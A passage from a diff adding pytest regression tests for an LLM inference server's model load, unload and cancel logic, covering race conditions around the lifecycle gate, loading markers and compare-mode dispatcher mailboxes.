+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    # Client unloads with the casing it originally typed, before canonicalization.
+    assert o.unload_model("unsloth/qwen3-4b") is True
+    # The guard did not no-op: an unload for the canonical active model reached
+    # the worker (not the raw lowercase name, so the worker matches it directly).
+    assert {"type": "unload", "model_name": "unsloth/Qwen3-4B"} in sent
+    # Local state is cleared for the canonical name, not left stale.
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_unload_of_stale_name_still_no_ops_after_case_insensitive_match(monkeypatch):
+    # The case-insensitive match must only rescue the active model; a genuinely
+    # different model name (case-insensitively too) must still no-op so the
+    # worker's absent-name fallback can't tear down the active model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    assert o.unload_model("unsloth/Llama-3.1-8B") is True
+    assert o.active_model_name == "unsloth/Qwen3-4B"
+    assert "unsloth/Qwen3-4B" in o.models
+
+
+def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkeypatch):
+    # A load always spawns a fresh subprocess holding only the new model, so
+    # self.models must mirror that instead of accumulating the previous model's name.
+    # Otherwise switching A -> B leaves 'A' in self.models, so a later unload('A')
+    # passes the "not in self.models" guard and the worker's absent-name fallback
+    # unloads the *active* model B.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None)
+
+    def _load(name):
+        monkeypatch.setattr(
+            o,
+            "_wait_response",
+            lambda expected, timeout = 300.0: {
+                "type": "loaded",
+                "success": True,
+                "model_info": {"identifier": name, "display_name": name},
+            },
+        )
+        assert o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) is True
+
+    _load("modelA")
+    _load("modelB")  # switch to B without unloading A first
+
+    # self.models mirrors the single live model; the swapped-out name is gone.
+    assert o.active_model_name == "modelB"
+    assert set(o.models) == {"modelB"}
+
+    # A stale unload of the swapped-out model must not reach the worker (whose
+    # absent-name fallback would unload the active model B).
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker"))
+    assert o.unload_model("modelA") is True
+    assert o.active_model_name == "modelB"
+    assert "modelB" in o.models
+
+
+def test_unload_route_serializes_with_loads_via_lifecycle_gate(monkeypatch):
+    # Item #5: /unload must hold the same lifecycle gate as /load so a concurrent load
+    # can't swap the backend subprocess/queues mid-unload.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    unloaded: list = []
+
+    class _Backend:
+        active_model_name = "m"
+        models = {"m": {}}
+
+        def unload_model(self, name):
+            unloaded.append(name)
+            return True
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            task = asyncio.ensure_future(
+                inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            )
+            # Yield to the loop repeatedly: the route must stay blocked on the gate.
+            for _ in range(10):
+                await asyncio.sleep(0.01)
+            assert unloaded == [], "unload ran while the lifecycle gate was held"
+            assert not task.done()
+        finally:
+            kw._lifecycle_lock.release()
+        resp = await task
+        assert resp.status == "unloaded"
+        assert unloaded == ["m"]
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# Cancel an in-flight load OFF the lifecycle gate (Stop-loading regression).
+# /load holds the gate for the whole load, so a gated /unload could never
+# interrupt it; cancel_load only tears the loading subprocess down.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_terminates_loading_subprocess_and_sends_no_command(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert shutdown, "must tear the loading subprocess down"
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    # A name that is not loading -> no-op, returns False so the caller takes the gate.
+    assert o.cancel_load("other") is False
+
+
+def test_cancel_load_matches_loading_model_case_insensitively(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"unsloth/Qwen3-4B"}
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    assert o.cancel_load("unsloth/qwen3-4b") is True
+    assert o.loading_models == set()
+
+
+def test_unload_model_cancels_a_loading_model_via_cancel_load(monkeypatch):
+    # unload_model still cancels an in-flight load (shared logic with cancel_load).
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send a command to cancel a load")
+    )
+
+    assert o.unload_model("m") is True
+    assert shutdown
+    assert "m" not in o.loading_models
+
+
+def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch):
+    # The regression: /unload wrapped its whole body in the lifecycle gate, so the
+    # Stop-loading button (cancelLoading -> /unload) could not interrupt a safetensors
+    # load that holds the gate for its full duration. The cancel must run off-gate.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    cancelled: list = []
+
+    class _Backend:
+        active_model_name = None
+        models: dict = {}
+
+        def get_loading_model(self):
+            return "m"
+
+        def cancel_load(self, name):
+            cancelled.append(name)
+            return True
+
+        def unload_model(self, name):
+            pytest.fail("must not take the gated unload path for a still-loading model")
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            # Even with the gate held, the loading-cancel must go through.
+            resp = await inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            assert resp.status == "unloaded"
+            assert cancelled == ["m"]
+        finally:
+            kw._lifecycle_lock.release()
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that races an unload must not orphan its
+# mailbox after _wait_dispatcher_idle stops the dispatcher.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bails_when_unload_flips_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work _unload_pending check, then an unload sets
+    # _unload_pending and _wait_dispatcher_idle stops the dispatcher (mailboxes empty)
+    # before this request registers its mailbox. The recheck under _mailbox_lock must
+    # make it bail, or the worker's skipped-generate reply has nothing to route it and
+    # the compare stream hangs on an orphaned mailbox.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Flip the unload flag after the pre-work check (626) but before mailbox
+    # registration -- exactly the window _wait_dispatcher_idle exploits.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+# ----------------------------------------------------------------------------
+# Dispatched path: bail when a cleared-pending unload swapped the model or
+# tore the dispatcher down during the pre-registration window -- item #2.
+# ----------------------------------------------------------------------------
+
+
+class _AliveDispatcher:
+    """Stand-in dispatcher thread that reports itself alive."""
+
+    def is_alive(self):
+        return True
+
+
+def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work checks, then a full unload+reload completes
+    # (clearing _unload_pending) before this request registers its mailbox. The
+    # under-lock recheck must notice active_model_name changed and bail, instead of
+    # sending a generate that lands on the swapped-in model.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Swap the active model after the pre-work check but before registration,
+    # with _unload_pending already back to False (the unload finally ran).
+    def swap(*a, **k):
+        o.active_model_name = "other"
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", swap)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on the swapped-in model")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(monkeypatch):
+    # Same window, but the unload was a same-model reload so active_model_name is
+    # unchanged; the give-away is that the dispatcher was stopped. Registering a
+    # mailbox with no dispatcher to route the reply would hang the compare stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    def stop_dispatcher(*a, **k):
+        o._dispatcher_thread = None  # unload's _stop_dispatcher cleared it
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", stop_dispatcher)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate with the dispatcher stopped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_happy_path_registers_and_sends(monkeypatch):
+    # Guard against a false bail: with the model unchanged and the dispatcher alive,
+    # the recheck must let the generate through (register a mailbox and send).
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_build_generate_cmd", lambda *a, **k: {"type": "generate", "request_id": "r1"}
+    )
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+
+    # Feed one gen_done so the consumer returns promptly.
+    def fake_consume(read_mailbox, drainer, **k):
+        mbox = o._mailboxes.get("r1")
+        if mbox is not None:
+            mbox.put({"type": "gen_done", "request_id": "r1"})
+        yield ""
+
+    monkeypatch.setattr(o, "_consume_token_stream", fake_consume)
+
+    list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert sent, "happy path must send the generate command"
+    assert o._mailboxes == {}, "mailbox popped in finally"
+
+
+# ----------------------------------------------------------------------------
+# load_model observes a cancel that discarded its loading marker -- item #4.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_when_cancelled_before_spawn(monkeypatch):
+    # Stop-loading during GPU placement discards the loading marker (cancel_load) with
+    # no child yet to kill. load_model must observe the removal and not spawn a worker
+    # that loads the model after /unload already reported it unloaded.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(
+        o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn a worker after a cancel")
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+
+    # cancel_load discards the marker while we resolve GPU placement.
+    def cancel_during_gpu(gpu_ids, **k):
+        o.loading_models.discard("m")
+        return ([0], "sel")
+
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", cancel_during_gpu)
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is False
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_load_model_proceeds_when_not_cancelled(monkeypatch):
+    # Guard against a false abort: an uncancelled load keeps its marker and spawns.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+
+    spawned = []
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: spawned.append(cfg))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: {"success": True, "model_info": {"identifier": "m"}},
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is True
+    assert spawned, "uncancelled load must spawn a worker"
+    assert o.active_model_name == "m"
+
+
+def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch):
+    # Stop-loading can land AFTER the pre-spawn marker recheck but while
+    # _spawn_subprocess is still creating the queues/process, so cancel_load's
+    # _shutdown_subprocess finds _proc not yet alive and no-ops. load_model must
+    # recheck the marker once the child exists and tear the orphaned worker down,
+    # instead of waiting for "loaded" and publishing a model /unload already
+    # reported as unloaded (a live subprocess nothing later reaps).
+    import types
+
+    from utils import transformers_version as tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = {"m"}
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    # The cancel lands during the spawn window: cancel_load already discarded the
+    # marker, but its teardown no-oped because _proc was not alive yet.
+    def spawn_then_cancel(cfg):
+        o.loading_models.discard("m")
+
+    monkeypatch.setattr(o, "_spawn_subprocess", spawn_then_cancel)
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait for 'loaded' after a cancel during spawn"
+        ),
+    )
+
+    ok = o.load_model(types.SimpleNamespace(identifier = "m", gguf_variant = None))
+
+    assert ok is False
+    assert shutdown, "must tear the orphaned worker down"
+    assert o.active_model_name is None
+    assert o.models == {}
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# /unload cancels a still-loading GGUF off the lifecycle gate -- item #1.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_cancels_loading_gguf_off_gate(monkeypatch):
+    # A still-loading GGUF (is_active, not is_loaded) must be cancelled off the gate:
+    # /load holds the lifecycle gate for the whole load, so a gated unload would wait
+    # it out. Assert the gate is never entered and unload_model() runs.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True, "must cancel the loading GGUF via unload_model()"
+    assert gate_entered["v"] is False, "must handle the loading GGUF off the lifecycle gate"
+
+
+def test_unload_loaded_gguf_still_uses_gate(monkeypatch):
+    # Guard: an already-loaded GGUF (is_loaded True) is NOT caught by the off-gate
+    # fast path; it goes through the gate as before.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = True
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True
+    assert gate_entered["v"] is True, "loaded GGUF unload must still take the gate"
+
+
+def test_unload_of_mismatched_loading_gguf_skips_off_gate_fast_path(monkeypatch):
+    # A still-loading GGUF X (is_active, not is_loaded) must NOT be torn down by the
+    # off-gate fast path when /unload names a DIFFERENT model Y. The single llama-server
+    # can only load one GGUF at a time, so this fast path is "stop loading THIS model";
+    # without a target check it fires for any in-flight GGUF and would abort an unrelated
+    # load (e.g. a second tab unloading Y kills the load of X). A mismatched target must
+    # fall through to the lifecycle gate (where, in production, it waits out X's /load and
+    # then no-ops) instead of taking the off-gate teardown.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-X"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-Y")  # different from the loading model X
+    _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert gate_entered["v"] is True, (
+        "a mismatched-target unload must not use the off-gate GGUF fast path; "
+        "it would cancel the wrong in-flight load"
+    )
+
+
+# ----------------------------------------------------------------------------
+# cancel_load clears its loading marker BEFORE tearing the subprocess down, so a
+# racing off-gate load_model observes the cancel during the shutdown window.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_clears_marker_before_shutdown(monkeypatch):
+    # cancel_load runs off the lifecycle gate, concurrently with a load_model that
+    # rechecks the loading marker before each spawn to observe the cancel.
+    # _shutdown_subprocess can block (tearing a live child down / joining the compare
+    # dispatcher), so discarding the marker only AFTER it leaves a long window in which
+    # that load_model reads the marker still set, passes its pre-spawn recheck, and
+    # spawns + loads the model after /unload already reported it cancelled. The marker
+    # (and local state) must be cleared before the teardown.
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+
+    at_shutdown = {}
+
+    def record_shutdown(timeout = 5):
+        at_shutdown["marker_present"] = "m" in o.loading_models
+        at_shutdown["active"] = o.active_model_name
+        at_shutdown["models"] = dict(o.models)
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", record_shutdown)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert at_shutdown.get("marker_present") is False, (
+        "the loading marker must be cleared before _shutdown_subprocess so a concurrent "
+        "load_model pre-spawn recheck observes the cancel during the shutdown window"
+    )
+    assert at_shutdown.get("active") is None
+    assert at_shutdown.get("models") == {}
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown(monkeypatch):
+    # cancel_load (off the lifecycle gate) can race a load_model whose worker already
+    # queued its successful "loaded" reply. cancel_load discards the loading marker and
+    # clears the local mirrors, then tears the subprocess down; but the still-running
+    # load_model thread can consume that "loaded" DURING the teardown window and repopulate
+    # active_model_name/models. _shutdown_subprocess nulls the queues but never touches those
+    # mirrors, so without a second clear /unload reports success while the backend keeps
+    # advertising a model whose worker was just killed. cancel_load must re-clear after the
+    # teardown so no phantom loaded model survives.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+
+    parked = threading.Event()  # load_model is parked in _wait_response("loaded")
+    release_loaded = threading.Event()  # cancel_load lets the load consume "loaded"
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        assert release_loaded.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # The teardown IS the window in which the racing load repopulates the mirrors: the
+    # marker is already discarded here, so release the load and wait for it to finish
+    # repopulating, mirroring the 0.5s cancel-settle inside the real _shutdown_subprocess.
+    def racing_shutdown(timeout = 0.5):
+        release_loaded.set()
+        assert load_done.wait(timeout = 5), "the racing load must repopulate during teardown"
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", racing_shutdown)
+
+    assert o.cancel_load("m") is True
+    loader.join(timeout = 5)
+
+    # Fail-without: load_model set active_model_name/models during racing_shutdown and
+    # cancel_load left them set, so the backend advertises a model whose worker was killed.
+    assert o.active_model_name is None, "cancel_load must not leave a repopulated active model"
+    assert o.models == {}, "cancel_load must not leave a repopulated models mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that starts the dispatcher and then bails on
+# a racing unload must stop the dispatcher it started, or that orphaned dispatcher
+# steals the worker's "unloaded" reply and hangs unload_model on its 300s timeout.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch):
+    # The request passes the pre-work _unload_pending check and starts the dispatcher
+    # (none was running), then an unload sets _unload_pending so the under-lock recheck
+    # bails. The just-started dispatcher, left running with no mailboxes, competes with
+    # unload_model()'s _wait_response for the worker's "unloaded" reply off the shared
+    # resp_queue and drops it as unroutable, hanging the unload until its 300s timeout.
+    # The bail must stop the dispatcher it started.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None  # none running -> this call starts it
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+
+    started = {"v": False}
+    stopped = {"v": False}
+
+    def fake_start():
+        started["v"] = True
+        o._dispatcher_thread = _AliveDispatcher()
+
+    def fake_stop():
+        stopped["v"] = True
+        o._dispatcher_thread = None
+
+    monkeypatch.setattr(o, "_start_dispatcher", fake_start)
+    monkeypatch.setattr(o, "_stop_dispatcher", fake_stop)
+
+    # An unload flips _unload_pending after the pre-work check but before registration.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert started["v"], "this call started the dispatcher"
+    assert stopped["v"], "the bail must stop the dispatcher it started (no other mailboxes)"
+    assert o._mailboxes == {}
+
+
+def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch):
+    # Guard against over-stopping: if another compare request registered a mailbox on the
+    # dispatcher this call started, the bail must NOT stop it, or that request's token
+    # routing dies mid-stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher())
+    )
+    monkeypatch.setattr(
+        o,
+        "_stop_dispatcher",
+        lambda: pytest.fail("must not stop a dispatcher another compare request is using"),
+    )
+
+    # A concurrent compare request registers its mailbox, then an unload flips the flag.
+    def flip(*a, **k):
+        o._mailboxes["other"] = object()
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert set(o._mailboxes) == {"other"}, "the other request's mailbox is untouched"
+
+
+def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch):
+    # Guard: if the dispatcher was already running before this request (an earlier compare
+    # request started it), a bail must not stop it even with no mailboxes now -- this
+    # request did not start it and another may re-use it. Only the call that starts an
+    # otherwise-idle dispatcher during the race is responsible for stopping it.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()  # already running
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_stop_dispatcher", lambda: pytest.fail("must not stop a pre-existing dispatcher")
+    )
+
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
